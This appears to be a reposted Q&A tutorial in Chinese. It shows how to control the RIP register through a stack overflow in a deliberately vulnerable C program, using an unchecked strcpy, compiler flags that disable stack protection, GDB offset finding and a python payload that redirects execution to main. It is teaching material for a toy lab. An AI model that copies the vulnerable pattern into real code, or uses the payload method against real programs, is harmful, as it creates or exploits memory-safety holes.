如何通过用户输入控制RIP寄存器?给定C程序,不知GDB调试入手点
栈溢出控制RIP寄存器实操(GDB调试步骤)
给定存在栈溢出漏洞的C程序:
#include <stdio.h> #include <string.h> #define VAR_SIZE 32 void output(int argc, char** argv) { char stack[VAR_SIZE]; strcpy(stack, argv[1]); printf("%s\n", stack); } int main(int argc, char** argv) { output(argc, argv); return 0; }
以下是用GDB实现控制RIP寄存器的完整步骤:
1. 编译漏洞程序
编译时关闭栈保护、开启可执行栈并保留调试信息:
gcc -fno-stack-protector -z execstack -g -o overflow overflow.c
-fno-stack-protector:禁用栈金丝雀保护,避免溢出被检测-z execstack:标记栈为可执行,方便后续执行自定义shellcode(如果需要)-g:生成调试符号,便于GDB查看变量和栈布局
2. 启动GDB并加载程序
gdb ./overflow
3. 定位栈溢出偏移量(关键)
我们需要确定输入字符串从stack数组起始到覆盖返回地址(RIP)的字节数:
- 设置断点在
output函数入口:b output - 运行程序并传入测试输入:
r test - 程序触发断点后,查看当前栈帧信息:
info frame
你会看到栈基址(rbp)的位置,stack[32]数组位于rbp-32处,而返回地址存储在rbp+8(x86_64架构下,rbp占8字节,返回地址紧跟其后) - 计算偏移量:
32(stack数组大小) + 8(rbp的长度) = 40字节
即前40字节会填充stack数组和rbp,从第41字节开始的8字节会覆盖返回地址(RIP)
验证偏移量(可选)
如果不确定计算的偏移是否准确,用GDB的pattern工具验证:
- 生成50字节的测试模式串:
pattern create 50 - 用该字符串运行程序:
r '生成的模式串' - 程序崩溃后,查看RIP寄存器的值:
info registers rip - 计算该值对应的偏移:
pattern offset <rip的值>
结果会显示偏移量为40,和之前的计算一致
4. 构造Payload控制RIP
构造的Payload格式为:[40个填充字符] + [8字节目标地址(小端序)]
- 填充字符可以用任意值(比如全'A':
python -c 'print("A"*40 + "\x00\x00\x00\x00\x00\x00\x00\x00")') - 目标地址可以是任意你想跳转的位置:
- 比如跳回
main函数,先查main的地址:p main,得到类似0x555555555155的地址 - 把地址转成小端序字节:
\x55\x51\x55\x55\x55\x55\x00\x00(注意x86_64是小端,地址字节倒序)
- 比如跳回
- 运行带Payload的程序:
r $(python -c 'print("A"*40 + "\x55\x51\x55\x55\x55\x55\x00\x00")') - 查看寄存器确认RIP被控制:
info registers rip,会看到RIP的值已经变成你设置的目标地址
5. GDB常用调试命令
x/20gx $rbp-40:查看栈内存(从stack数组起始位置开始的20个8字节单元)ni:单步执行(不进入函数)si:单步执行(进入函数)c:继续运行程序info registers:查看所有寄存器的值
内容的提问来源于stack exchange,提问作者user12281035
相关产品推荐
相关产品推荐

